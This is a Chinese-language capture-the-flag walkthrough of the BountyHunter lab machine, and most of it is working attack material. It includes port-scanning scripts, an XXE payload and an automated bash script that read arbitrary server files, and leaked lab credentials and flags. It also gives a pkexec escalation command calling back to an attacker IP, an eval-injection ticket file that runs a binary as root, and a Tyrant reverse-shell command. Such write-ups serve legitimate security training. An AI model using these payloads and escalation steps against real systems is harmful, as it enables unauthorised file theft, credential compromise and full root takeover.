[Meachines] [Easy] BountyHunter XXE + TRP00F自动化权限提升+Py Bypass文件分析权限提升
字数 1022 2025-08-22 12:23:36
BountyHunter XXE漏洞利用与TRP00F+Py Bypass权限提升完整指南
1. 信息收集与初始扫描
1.1 目标识别
- 目标IP:
10.10.11.100 - 开放端口:
- TCP 22 (SSH - OpenSSH 8.2p1 Ubuntu)
- TCP 80 (HTTP - Apache 2.4.41)
1.2 扫描技术
ip='10.10.11.100'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
2. Web应用枚举与XXE漏洞利用
2.1 目录扫描
使用feroxbuster发现关键端点:
/log_submit.php/tracker_diRbPr00f314.php
2.2 XXE漏洞利用
发现XML外部实体注入漏洞,可读取任意文件:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [
<!ENTITY ent SYSTEM "file:///etc/passwd">
]>
<bugreport>
<title></title>
<cwe></cwe>
<cvss></cvss>
<reward>&ent;</reward>
</bugreport>
2.3 自动化利用脚本
创建交互式脚本读取任意文件:
#!/bin/bash
while true; do
read -p "[+] File > " file_path
xml_payload=$(cat <<EOF
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [
<!ENTITY ent SYSTEM "php://filter/read=convert.base64-encode/resource=$file_path">
]>
<bugreport>
<title></title>
<cwe></cwe>
<cvss></cvss>
<reward>&ent;</reward>
</bugreport>
EOF
)
encoded_payload=$(echo -n "$xml_payload" | base64 | tr -d '\n')
encoded_payload_url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$encoded_payload'))")
response=$(curl -s -X POST http://10.10.11.100/tracker_diRbPr00f314.php \
-H "Host: 10.10.11.100" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0" \
-H "Accept: */*" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Origin: http://10.10.11.100" \
-H "Connection: close" \
-H "Referer: http://10.10.11.100/log_submit.php" \
--data "data=$encoded_payload_url" | gzip -d)
if [[ $response =~ ([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)? ]]; then
base64_match=$(echo "$response" | grep -oP '([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?')
decoded_response=$(echo "$base64_match" | base64 -d 2>/dev/null)
if [ $? -eq 0 ]; then
echo "SERVER:"
echo "$decoded_response"
else
echo "[!] Decode fail"
fi
else
echo "[!] Not found response"
fi
done
2.4 获取数据库凭据
读取db.php文件获取凭据:
username: admin
password: m19RoAU0hP41A1sTsq6K
3. 初始访问
使用获取的凭据通过SSH登录:
ssh development@10.10.11.100
获取用户标志:
User.txt: 10fd99e37ad14788c0c05a92da4dc9f3
4. 权限提升: TRP00F利用
4.1 TRP00F工具
使用TRP00F工具进行本地提权:
python trp00f.py --rhost 10.10.16.28 --rport 10000 --lhost 10.10.16.28 --lport 10031 --http 9999
4.2 检测pkexec漏洞
[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) > y
5. Python Sudo权限绕过
5.1 分析ticketValidator.py
发现development用户可以sudo执行:
/opt/skytrain_inc/ticketValidator.py
5.2 漏洞代码分析
关键漏洞点:
- 文件加载仅检查
.md扩展名 - 使用
eval()执行未过滤的用户输入
5.3 利用条件
创建满足以下条件的恶意文件:
- 第一行:
# Skytrain Inc - 第二行:
## Ticket to Somewhere - 第三行:
__Ticket Code:__ - 第四行:
**11+0==11 and __import__('os').system('/tmp/tyrant') == True
示例利用文件内容:
# Skytrain Inc
## Ticket to Somewhere
__Ticket Code:__
**11+0==11 and __import__('os').system('/tmp/tyrant') == True
5.4 使用Tyrant工具
- 下载并编译Tyrant工具:
git clone https://github.com/MartinxMax/Tyrant
- 执行提权:
./tyrant -uid 0 -rhost 10.10.16.28 -rport 443
6. 获取root权限
成功获取root标志:
Root.txt: a51cc224d2bd3a9c103331bd01d2d51b
关键总结
-
XXE漏洞利用:
- 通过XML外部实体注入读取敏感文件
- 使用base64编码绕过可能的过滤
-
TRP00F提权:
- 自动化检测和利用本地提权漏洞
- 特别关注pkexec等常见SUID程序
-
Python Sudo绕过:
- 分析脚本逻辑寻找代码执行点
- 构造满足条件的恶意输入文件
- 利用eval执行任意命令
-
工具链:
- feroxbuster - 目录扫描
- TRP00F - 本地提权框架
- Tyrant - 高级权限提升工具